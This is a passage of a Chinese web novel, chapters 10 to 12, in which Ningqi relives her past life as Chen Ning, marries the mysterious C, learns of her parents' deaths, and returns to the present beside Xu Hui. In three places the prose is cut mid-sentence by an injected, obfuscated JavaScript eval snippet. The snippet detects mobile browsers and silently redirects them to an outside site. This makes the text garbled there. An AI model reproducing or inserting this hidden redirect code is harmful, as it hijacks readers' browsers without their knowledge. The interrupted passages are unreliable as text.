陈宁和C跟在他们后面进门,掌柜在两人还在门口的时候就看见了,陈家在本市颇有名气,他自然认识,亲自前来迎接,特意点出他们的身份,以证自己慧眼识人。 “C先生,陈小姐,两位怎么这个时辰过来了?还劳烦两位跑一趟,下次小姐有什么想要的,知会一声我们直接送到府上给您挑。” 陈宁默默攥拳。 “我们正好路过,准备自己看看,掌柜的去忙就好。”C温和地回应着。 “是是是,”掌柜侧身让出位置,“二楼有不少新上的,小姐看看有没有喜欢的,我就不多叨扰了。” 店铺中人不算少,C伸手拢住陈宁的肩膀,避免被人碰到,带着她往二楼的方向走,同时悄悄用另一只手撬开她的拳头,轻轻捏了捏。 “怎么不高兴?”他含着笑意问,低头询问。 陈宁没有说话,哼了一声把头扭过去,头发甚至轻扫到了C的脸,她明明都不高兴一路了。 但是到了二楼看首饰的时候,还是忍不住把头扭回来。 “我们为什么要来买首饰?” C歪歪头思索了一下:“出门的时候戴,你不是喜欢亮晶晶的东西吗?” 陈宁:“我现在不喜欢了,而且我不怎么出门。” C顺着她的话说:“既然这样,我们回去吗?” 陈宁蹙眉,她明明不是想这样的。 “可是,我们前面进门的两个人,也是来买首饰的,伙计问了他们是未婚夫妻,就带他们去一个地方去看首饰了,为什么我不喜欢,我们就要回去?” 这一番话说得像摔碎的豆腐,但C偏偏还听明白了。 “所以,你想说什么呢?”C叹了口气,手指捏着陈宁的头发。 闻言,陈宁垂下头:“你不想和我结婚,是因为现在不喜欢我了吗?” 前两年,C明明还一直想和她结婚。 迟迟听不到C的回话,陈宁开始扣自己袖口的蕾丝花边,嘴里泛起一股淡淡的铁腥味。 C又在叹气了。 他伸手抬起陈宁的脸。 轻柔的触感落在陈宁的额头。 “不喜欢你?”陈宁听到C这么说,“不会有人比我更爱你了。” 10. 死者与余众 次日,陈宁从C的怀里醒来。 迷迷糊糊睁开眼看到C的脸时,她下意识抖了一下,眼睛睁得圆圆的,昨晚从红帐落下后的记忆逐渐浮出,她才后知后觉反应过来,他们已经成婚了。 但还是目光飘忽,忍不住往被子里钻,只露出小半张泛着红的脸。 察觉到她的动作,C放下手里的账目,目光看向身边的人,然后顺势将人连被子揽进怀里,唇角上扬,俯身在陈宁鼻梁上落下一吻。 “怎么还往被子里钻?再睡下去天都要黑了。” 趁着C亲她的时候,陈宁立马伸出手环住他的脖颈,毫不讲理地嘟哝:“明明是你没叫我起床的错。” “怎么这么耍赖?我八点就叫过你了,你推开我了,还往床边缩。”C笑着把陈宁从被子里剥出来,理顺她睡乱的头发。 陈宁趴在C身上打哈欠,假装听不懂:“那你也是陪我一起赖床到现在了,你不忙了吗?” “最近没什么事,可以陪你,而且,哪有把新婚妻子丢在一边的。” 陈宁很满意C的回答,伸了个懒腰准备起床,但是唤了一声后,往常侍候她换衣服的丫鬟并没有出现。 “今早一批仆从跟着商船南下了。”C出声解释,起身从桃色长沙发上拿过事先准备好的衣裙,“前几天你夸过的那套衣服,这几天刚做好,你先换衣服,我让厨房去准备早点,收拾好直接去餐厅就好。” 说完,又在陈宁脸上轻吻后争了片刻温存,才离开。 离开房间后,C顺着走廊往前走去,拐角处林成正在等待,还穿着昨日的装扮。 看到他后,C停住脚步吩咐。 “告诉厨房去准备早点。” 林成连忙点头,眼看C要走,他赶紧抓住C的衣角:“对不起,许助,我昨天不该跟小姐说那些,我会和小姐解释的,但是……要打仗了,我,我不能留在这里……你一定有办法,让我走吧。” 穿越到这里之后,林成没有一天不在后悔,为什么非要去那个废弃的地窖探险。 C停下脚步,看了他一眼:“我已经说过了,在这里不要叫我许助。” 他叹了口气,伸手扶正林成歪掉的领结:“懂事一点,你不会死在战争里,你会回去的,只不过还没到时间,有点耐心,以前上课的时候我跟你们强调过很多遍。现在,去厨房,让他们准备早点。” “是。” 说完,C头也不回地通过前厅,径直走向二楼。 前厅的红绸还没有拆掉。 站在二楼主卧门口,他屈起手指,轻敲房门:“是我,C。” 半晌,房间内才传来陈父疲惫的声音:“进。” C推开门,入目是一张突兀的书桌,上面堆放着一摞一摞的文件,自从开战的消息从北方传来,陈父就叫人把书桌搬进卧室,日夜不休地处理南下事宜。 但是此刻,他并不坐在书桌前。 C踏进房间,反手上锁,目光转向床榻,陈父正抱着妻子,眼下青黑,显然是一晚未眠。 “南方的事宜已经打点好了,本市还有些收尾工作,具体的开战时间还不确定,您……” 见陈父一直没有看向自己,C停下汇报,看向他怀里的陈母,她的脸上依旧带着昨天的妆容。 但是身体已经失去了呼吸引起的微弱起伏,C知道这意味着什么。 “节哀。” 陈父深呼一口气,嘴唇发颤,依旧没有看C,只是垂头把妻子抱得更紧。 房间的采光很好,明亮的阳光从雕花大窗照进来,连浮动的微尘都能看清,昨日的婚礼应该安排在这样一个春和景明的日子。 “安排第二批商船南下,我今晚要离开,她不能葬在这里,收尾工作就全权交给你……” “是。” “对了……不要准备棺材,也不要大张旗鼓,我们离开的事绝对要保密,别让阿宁知道……她刚结婚,她妈妈也一直希望她能……” 陈父说得很慢,直到彻底说不下去。 “我明白,饭后我会带着阿宁出门。” C当然明白要瞒下来,毕竟一个多月前,陈母就已经病重了,只是除了C和陈父,周围人都不知内情,看女儿嫁人这个念头吊着她的最后一口气,直到婚礼结束,来不及反应的刹那,悬颈利斧才以一种仁慈的迅速,结束她的性命。 一阵长久的沉默后,门被敲响,林成的声音从门外传来:“C先生,小姐在找您。” “我马上来,别让小姐上楼。” C朝陈父点头示意,准备离开,却被叫住。 陈父小心放下陈母的尸体,走到C面前,昨日打了发蜡的头发,此时显得干枯僵硬,他伸手抓住C的手腕。 “C,我知道小宁肯定不愿意跟你分开,等我走了,你要好好照顾她,处理完事情一定要早早带她去南方,千万保护好她。”因为坐了整晚,陈父的腰仿佛也被定型成弯曲的形状,此时此刻,姿态像是哀求。 “我现在唯一放心不下的就是这个女儿,我年纪大了,不能照顾她一辈子。” “我不知道你的来历,但我清楚你不是一般人,我只求你照顾好我女儿,小宁被我和他妈妈惯坏了,但她是个好孩子,你多让着她些。” “哪怕有一天,你不爱她了,你也别欺负她,我只求你这一件事。” C慢慢呼出一口气,将陈父扶到沙发上。 “放心,没有人比我更爱她了。” 修仙辗转两百年,人间八百年徘徊,在人类无法到达的时间长度里。 没有人比我更爱她了。 C离开房间,陪陈宁吃完饭后来到了花园的温室,前两年西洋文化刚传入的时候建的,玻璃穹顶,铸铁花纹结构,里面摆放着小茶几和藤竹椅。 只是原本的娇贵植物,因为这段时间疏于打理,以及连绵雨天,花朵已经有些腐烂的迹象,但香味反而愈发浓郁。 在二楼的陈父看到这一幕,用外套盖住陈母的尸体,下楼从侧门离开。 “为什么我不能去看妈妈?昨天我们拜完堂她就走了,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263358|198068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都没来得及和她说话。” 陈宁晃着C的手,拖着声音询问。 “她的病还没好,所以不想让你看她,怕过病气给你。”C推开温室的玻璃门,和陈宁坐在长藤条椅上。 “那妈妈的病为什么还没有好?” “可能是今年春天太冷了,她这几天就去南方养病了,下次你见到她的时候,她的病就好了。” “为什么这么多人都去南方了?” “因为南方比较暖和。” 陈宁若有所思地点点头,靠在C的怀里,听他给自己读书。 战争在九月打响,街头巷尾的金桂开了,住在里面的人却走了大半,陈宅也被这股浓郁的香气环绕着,陈宁时常依靠着桂花香气分辨方向,她又开始看不清了,同时,声音对她而言也像隔着些什么,听不真切,时常要C走到她身边,她才能反应过来。 宅子里的下人已经都被遣散了,只留下了林成,而与陈宁有关的事情都是C亲力亲为。 C不再繁忙,每天都陪在陈宁身边,上到散步下到喂饭。 视觉和听觉重新变差的时候,陈宁以为过一段时间就会恢复,但一周依旧看不清听不清时,她才把这件事告诉C。 于是,C开始走到哪儿都带着她,拉着她的手,或者干脆抱着她,从白天到黑夜,从春天到秋天,恐慌还没来得及冒尖,就被C掐段。 他们没有南下,也没有被炮火波及。 而陈父也没有催促。 因为他南下途中被怀疑走私,被不分清红皂白枪杀,四个月前死在了南下的水路上。 钱财与锦帛有的沉入水中,而大部分被活着的人瓜分。 但这件事,陈宁并不知情,在她的眼里,爸爸妈妈早就在七月回来了。 和爸爸妈妈一起回来的还有一个沉默寡言的青年。 只是她看不清也听不清了,总是把人弄混,但是没关系,她大部分时间都只是和C待在一起。 甚至有一次,她不小心找错了人,抓住了那个陌生的青年,他和C的体型有些相似。 陈宁问他为什么不理自己。 那个青年站在原地没动,可能说了什么,她也听不清,直到一双手把她提腰抱起,陈宁才意识到找错人了。 战争断断续续持续了半年。 秋天过后,桂花也谢了,天气转冷,天空落下细碎的雪花。 陈宁越来越不爱出门,一整天一整天窝在C怀里,被他抱着喂烤栗子,只是味道一般,像土豆,并不甜。 冬天也就在两人拥毳烤火中慢慢度过。 但是春天,陈宁却依旧没有从C身上起来,她觉得越来越没有力气,她想,妈妈当初生病或许就是这样的感觉。 是某种遗传病吗? 但是既然妈妈能好转,那她应该也可以。 视觉和听觉减弱后,她并不怎么感觉的到时间流逝,所以也没有意识到自己变得越来越嗜睡。 在两人结婚一年后的那天,陈宁再也没有从C的怀里中醒来。 11. 许不春、许回、C 宁期看着周围逼仄的黑暗,神经迟钝,还没从那段人生中抽离出来。 她知道陈宁就是自己,从第一次去到陈宅的时候,她就隐隐有过猜测。 但是她没想到,许不春也在。 他为什么还活着? 就算时间推移八百年,宁期也不会记错任何有关许不春的事情,更何况,当时许不春是死在自己面前的。 临死前,是他亲口说过,他是天道的化身,是让宁期得以飞升成仙的契机,是她修仙路上的最后一道坎。 杀了他就能得道成仙。 他不应该也不能是个活生生的人。 宁期在黑暗中伸手扶住墙,冷硬的触感强行中断了她纷杂的思绪,从陈宁的人生中抽离出来,重新回到当下,她终于想起许回,想起自己现在应该还在医学院废弃教学楼的地窖。 宁期摸索着,终于摸到了腐烂的铜质门把手,她推开门,眼前有两团发光的光团。 好嗓子和眼镜听到声响,寒毛炸起,齐齐转手电筒朝声源处照过去。 “不是……妹妹,你不是下楼了吗?” 眼前这个人明明说自己下楼了,但是又突然出现在一个他们检查过的房间,二十多年建立起的唯物主义世界观,被一拳狠狠击碎。 宁期也没想到他们竟然还在,毕竟她作为陈宁已经度过了将近两年的时间。 但现在她也懒得计较自己是参与了历史还是观看历史。 “和你们一起的那个人,是不是叫林成?” 闻言,好嗓子和眼镜齐齐一愣,然后脸上绽放出惊喜,也顾不上科学医学唯物主义了,抓住宁期的手询问:“你找到他了?” 说完又往宁期身后看去,空无一人。 “林子他人呢?他……”好嗓子的手颤抖起来。 宁期赶紧打断他过分丰富的想象力:“他没事……” 但是说到一半,宁期也没了主意。 她确实看到林成了,但是两百年后的当下,她怎么把误入其他时空的人带回来? 因为阵法的原因,这个地窖二层以下的位置,时空已经完全错乱了。 “他没事,我会把他带回来。”宁期尽力安抚两人的情绪。 她已经有了思路,不仅是要找回林成,还有陈宁的身体所在。 那是解决她天人五衰的关键。 值得庆幸的是,这两件事完全可以拔萝卜带泥一起解决。 但是宁期并没有感到几分喜悦。 一行三人按照原路返回。 短时间连续走过几遍,走廊里较大的杂物也都被大概挪到周围,但是宁期却时不时被散落药瓶绊一下。 宁期摇了摇头,踩在粗粝的水泥路上,忍不住想到,她作为陈宁时第一次见到许不春的那一幕,以及更早之前,两人相依为命时的种种。 “你没事吧。” 在再一次差点摔倒后,好嗓子忧心地扶住她,开口询问,生怕是下来这一趟给宁期吓得连路都走不稳了。 “没……” 爬出地窖口,感受着深春的暖意,宁期眼前明亮无比,像是陈宁死前看到的阳光,跨越了两百年,重新落下。 在外等候的两个医学生看到他们出来,可算放下心来,一股脑地迎上来,但是没有看到林成的身影后,又更紧张了,一口气像是过山车一样,最后扼在喉咙里,只好朝好嗓子他们使眼色。 “你们先回去上课吧,”宁期看向站在旁边的糊成一团的黑色背光剪影,“别告诉别人我来这里的事。” 后面他们说了什么,宁期没听清,等人走远后,她感到脚踝被毛茸茸的触感扫过,低头去看,是她先前碰到的那只小猫,现在也成了一小团白乎乎的影子。 直到现在,眼盲终于让她确定,自己不是观看了陈宁的人生,是她亲自走过了那段历史。 宁期跟着小猫重新回到医学院周围,人渐渐多了起来。 小猫躺回路边供人休息的长椅上晒太阳,宁期去食堂打了饭,重新回到许回的办公室。 工位上没有看到人,宁期把饭和饭卡放到许回的桌子上,小心翼翼不碰到摇摇欲坠的文件小山。 宁期忍不住去想,无论是许不春时期,还是C或者当下的许回,他似乎一直都是忙得没完没了,命运冥冥之中确实有定数,明明严格来说都不算同一个人了。 尤其是许不春。 她情不自禁笑了一下,思绪回到千年前。 那时候她刚被师尊托付给师兄不久,许不春总说她是大麻烦师尊丢来的小麻烦精,这句话两人一起生活了多久,许不春就说了多久。 但是刚开始宁期并不知道他一贯嘴上不饶人,为了讨自己这个便宜师兄高兴,她把许不春的话当圣旨来听,事必躬亲,天不亮就跟着许不春爬起来练剑,许不春拿着佩剑“否极”,一招一式如同游龙惊凤,宁期拿着把小木剑学着挥。 给许不春看笑了。 久而久之,宁期发现师兄可能只是在山上憋了太久,所以总是絮絮叨叨,并非真的对她不满,于是对于修炼也愈发倦怠,在许不春眼皮底下浑水摸鱼。 但是对于此事,师兄果然没有提着她喂山里的豺狼虎豹,顶上天也只是在她脸上拧一把。 后来长大后,两人谈及此事,宁期问许不春为什么并不督促自己练功。 许不春冷笑了两声,屈指敲了敲她的头,说他没看出宁期倦怠,只以为她原本就是个傻的。 事到如今,宁期已经没办法继续假装许不春是天道的化身,或者许回只是一个长得和师兄相似的普通人。 她早就意识到了。 八百年前,她亲手杀死了养育自己长大的师兄。 春风吹过窗帘,泛起冰冷的凉意。 宁期坐在许回给她准备的椅子上,用袖口捂住眼,泪水已经溢出眼眶。 为什么靠近许回能缓解天人五衰,在此刻也有了答案。 因为她的神格,本身就来自于他。 不知道过了多久,宁期小声抽噎地抬起脸,猝不及防就跟在工位上吃面的许回对视了个正着。 他不知道什么时候上完课回来了,身上还带着消毒水味道。 “怎么了?”许回有点手足无措,把刚吃了两口的面推到一边,“出什么事了吗?” 因为离得近,宁期能勉强听出许回的问题。 但也只是听懂了。 此时,她不知道该怎么面对许回。 “没事。”宁期经过一段思想挣扎,还是摇摇头。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263359|198068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想要道歉,想把这些年的事都倾诉给他,说愧疚,说悔恨,说爱他。 但是他已经不记得了。 此时,宁期才理解了,为什么燕曲非说前世的因果不应该再拖累活着的人。 就算说了,又能怎样? 他已经什么都不记得了。 想到这里,宁期又感到如鲠在喉。 见此情景,许回自然不可能真的坐视不管,任由宁期坐在他身边哭。 他伸出手抓住宁期座位的把手,将人拉近了一点。 “我知道很多问题我没法帮你解决,但是你可以试着告诉我,我帮你想想办法好吗?” “我会尽我所能帮你。” “你愿意相信我吗?” 此时办公室内只有许回和宁期,空气缓慢流动于两人之间。 宁期点点头,不知道眼前模糊的是因为眼泪还是因为天人五衰。 她擦擦眼泪,开口询问:“你为什么要帮我?” 语气里带着点自己都没发觉出的希冀。 宁期知道他们两人之间的渊源与纠葛,但是对于这一世的许回来说,她只是一个不知道底细的陌生人,哪怕知道自己是所谓的神女,许回也完全没有必要帮自己这么多,甚至面对各种麻烦也一再纵容。 “这个,”许回想了想,“因为你是我小侄女。” 闻言,宁期愣了一下,才后知后觉反应过来,许回带她进学校,找的借口就是说自己是她亲戚家的女儿。 见宁期呆呆看着自己,许回笑了一下也不逗她了,开口解释道: “追根溯源,大概在我祖母的那个年代。你应该不知道,那时战乱频发,年轻时的祖父母为了躲避战乱,逃到了这里,但是战争远比人的蔓延速度更快,躲无可躲。” “后来,他们去山上避难的时候,遇到了一个人,让他们照看一座神女庙,你应该也猜到了,就是集禄山。” “说是帮忙照看,但也是提供了一个留身之所,后来那人离开了,燕曲非也是那个时候出现的,与我祖父母一起照看神女庙。” 宁期不知道那人是不是许不春,只留心往下听着。 此时此刻,她并没有那么计较真相,只是想听许回说说话。 “据说,那个人没有收取任何酬谢,只对祖母说,日后如果有与神女长相相似的人出现,希望能尽力帮扶。” “后来就成了我们家的祖训,说神女会下凡历劫,要不遗余力答谢救命之恩。” 许回拿起水杯轻抿润喉,对着宁期笑笑。 “我原本以为只是老人家的迷信,没想到运气好,真叫我碰上了神女,所以我当然会遵循祖先遗训,尽力帮你。” 宁期点点头,没有说话。 见宁期没有说话,许回沉默片刻,复又开口:“但我帮你不只是这个原因……” 还没说完,门就被其他助教敲响:“许助,组会要开始了。” 闻言,许回先看向宁期,下意识想推掉。 宁期知道许回很忙,推推他的手:“你先去忙,我在这里等你。” “好,”许回站起身,拿好提前准备好的文件夹,抬起手片刻,还是轻轻在宁期的手背拍了一下,“我很快就回来,到时候,我再一五一十告诉你。” 12. 庄周梦蝶,蝶梦庄周 坐在椅子上,宁期想起了林成。 在作为陈宁的时候,她没有自己的记忆,所以并没有把林成的话当回事。 但这时候静下心来,她发觉的许多不合理的地方。 首先她和林成都是回到过去,却只有她没有记忆。 但是这一点倒是可以解释,毕竟林成是一个完整的人,而陈宁是她的一部分,在她回到过去之前,陈宁就已经存在了,自然会掩盖她原本的记忆。 但真正让她感到不安的是C的身份。 除了那张脸,C并不十分像许不春或者许回。 林成原本就是许回的学生,把C认成自己熟悉的助教许回不足为道 可是如果真的是许不春,那为什么要使用C这个名字? 宁期想起C的来历,说是留洋归来,但是并没有人清楚他究竟来自哪个国家,家住何处。 还有她的肉身,按照她从陈宅附近的居民那里打探来的信息,战争结束后陈宁也一直跟着C生活在一起,直到一场大火烧了整个陈宅。 按照如今陈宅的留存完整性来看,多半是C找人重新修缮过的,所以她生前死后唯一一个一直陪在身边的只有C一个人。 虽然流言传了百年之久,必定会有谬误,但像火灾这样的事件一般不会出现差错。 许回是轮回后的许不春,现在也没法从他口中好问到什么。 从地窖重新回到两百年前的办法行不通,毕竟陈宁已经死了,看来无论是找回林成还是寻找陈宁尸身,都得从陈宅这个根源找起。 宁期凑近许回的电脑,时间才过去了十多分钟,不知道他什么时候才能开完会。 和C相处的一年多时间,让宁期重新想起更多曾经和许不春在山上的点滴小事,那时候两人整天都在一起,以至于现在,她也难免想多和许回待在一起。 宁期坐在椅子上百无聊赖地转圈,在面对门口时,一个人推开门走了进来。 她认出这不是许回,看起来应该是和许回一个办公室的另一个助教,好像是姓周来着。 周助教也看到了宁期,脚步微滞,然后抬手打招呼。 天人五衰带来的影响很不方便,宁期听不清他在说什么。 只是接过周助教递来的一个纸杯子,热热的,飘出一股浓郁的带着苦涩的香味,宁期想起许回身上总有这个味道,于是好奇询问周助教。 “这是什么?” 此时周助瘫在自己的工位上,抬头畅饮了两口自己手里的热饮,长叹一口气:“工作补剂啊!喝完能再赶两篇论文!” 然后他看着宁期好奇的眼神,起了逗弄的心思,殷殷从饮水机上拿了一个纸杯,把给许回带的咖啡给宁期倒了小半杯:“以为你还在外面玩呢,没给你带,你尝尝,当提前适应一下成年人的世界了。” 宁期点点头,接过纸杯,学着周助的样子抬头豪气干云地饮一大口。 然后迎着始作俑者的目光,咽了下去。 当陌生的味道充斥口腔,心头的苦涩压过了口中的味道,一点清泪在她的眼中流转。 要是当初她没有得来许不春的神格,许回就不用喝这种东西打起精神工作了。 呜呜,好苦。 明明味觉都有些退化了。 “诶诶,怎么还哭了?”周助半是好笑半是无措地把抽纸塞进宁期手里,“你这小姑娘怎么这么死脑筋,不好喝就吐掉啊。” 周助栽回自己的工位,拿起几张试验报告看了两眼,又双眼呆滞地放回去了。 转而又朝宁期搭话,至少宁期不会折磨他。 “小期,你来W市之后,许助有带你逛逛吗?” 宁期点点头又摇摇头,不知道他叽里呱啦在说什么,于是挪着椅子走进了些。 “哎,不过我们这里确实没什么好玩的,你要是想参观一下古迹,还不如在我们学校逛逛呢,医学院算是建得最早的,后来才扩建成大学的。” 宁期突然想起,她当初就是在地窖被C到找的,C也经常去学校,估计就是这所学校了。 抱着和许回同甘共苦的想法,她把剩下的热美式一饮而尽,苦得打了个寒颤后才开口询问:“那那个地下室也是很早建好的吗?” “你去南区了?” “我没看到那里在施工……” 周助耸耸肩,语气老气横秋:“你们这些小孩子就是逆反心理重,越不让你们去哪儿就越要去,不过那里现在确实没施工了,都是很早之前的事了,就是怕你往那边跑才这么说的,对了,你没进去吧。” 宁期面不改色地摇头,然后非常不经意地提起:“但是我之前听说过城西陈宅的事,好像跟这里有什么关系。” “C先生?”闻言,周助丝毫不觉得惊讶,“南区的地窖就是他出资建的,你也听过那 个传闻吧,陈家散尽家财什么的,当时大部分前都是花在学校上了,校史上也有他。” 这下轮到宁期惊讶了。 C竟然这么好心? 而且散的是陈家的钱,这么说起来,她岂不是也算投资人。 宁期准备趁热打铁打探更多C的事,比如陈宅烧了之后,C去了哪里之类的问题,好顺藤摸瓜找到陈宁尸身的去处,可一连问了几个问题,周助都只是摇头。 “C先生很神秘啊,校史关于他的事也只说了有关他投资的事,私生活怎么可能写在这里,他的名字、长相都没人知道。” 宁期也只好作罢。 等许回开完会已经五点多了,期间,宁期在周助口中得知,有地窖的那个废弃教学楼已经被封起来了,因为林成的失踪,但是学校派人进去搜寻一圈,一无所获。 回来后又脚不沾地地处理工作,直到走廊的灯都关了,宁期帮两个人买了两次咖啡,许回才手抖地关上电脑,另一侧的周助也是一副双眼空洞的样子。 “我的论文又被打回来了,让我补六个实验。”周助仰头看着天花板,跟许回搭话。 许回一边收拾东西一边回话:“我上次被要求补一个月。” “你补了吗?” “补了,被拒了。” “哈哈,”周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263977|198068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 助干笑了几声,看向宁期,“小期以后打算学医吗?” 宁期坐在座位上抱着自己的腿,呆呆地抬起头,不知道为什么,虽然忙了一天的不是她,但她仿佛也被压弯了。 “别吓她了,”许回捏了捏眉心,拿起包轻拍宁期的肩膀,“小期跟周助说再见,我们要回家了。” “周助教再见……” 下楼后,天已经黑下来,只剩路灯还亮着,拉出长长的影子。 光与影,亮与暗,在宁期眼中被简化成模糊的色块,再加之坐了一下午,腿都要没知觉了,只能慢吞吞地走。 看宁期走不稳,许回本能伸出手去扶,却在下一瞬停住,在他若无其事想要收回手的时候,宁期已经似有所感地抓住。 像在今天之前,C在每个她需要的瞬间伸出手时那样,还没碰到就已经知道他会停在哪里。 宁期并不能很好地分清许不春、C或者许回,她也并不想分清,任由自己牵着许回,走在光影模糊的路上,仿佛一切都一如既往。 “手有些凉了,一会去买件外套吧。” “好。” 两人并肩走出楼门。 不远处的操场传来几声尖促的哨音,晚风带着冷意和草木气息,还没焕发生机的梧桐树叶摩擦出窸窣声响,夜色温柔。 “之前,周助在办公室,有些话不方便说,我帮你的另一个原因,你还想知道吗?” 宁期牵着许回的手轻晃,被反握得更紧,传来细微的痒,一尺方寸间,问答已经悄悄给出答案。 “因为我想帮你,”额前微长的碎发被风拂过,蹭过睫毛的触感让人略感不适,但此时又无暇顾及,“现在说喜欢或许显得过于轻浮,但我找不出其他的理由。” “一度以来,我按部就班地生活,上学考试,直到现在当上博士生去帮导师带学生,放假就回集禄山烧香,等待遗嘱里不确定是否存在的神女。” “直到等到你,一切生活的重心都落到了你身上,”许回看向宁期,“我甚至想过,或许不是我等到了你,而是因为你会出现,才会有我。” 说完后的几息间,宁期都没有回答,后来她也忘记了自己回答了什么。 风的触感还是眼前的景象都消失了,眼前只有许回模糊的剪影,和双手交握的温度。 宁期唾弃过自己的自私,没有去陈宅,也没有管林成,没有坦白天人五衰,只是陪在许回身边,陪着他上班,一日一日泡在充满咖啡苦涩味道和消毒水气味的办公室。 忙碌之余,许回总会握着她的手跟她说说话,抽屉除了咖啡液,多了很多宁期喜欢的小零食、果干和薯片,是许回带着她一样一样试出来喜欢哪样的。 家里多了很多宁期的衣服,每一件都是许回亲自挑的。 宁期感受着五感退化,更加贪恋平常的每一天。 后来,最先消失的是视觉,哪怕在许回身边,天人五衰也不会彻底消失。 两个月后的早上,宁期看着漆黑的天花板,等着许回醒来后,才坦白自己无论死活,都会离开的事实。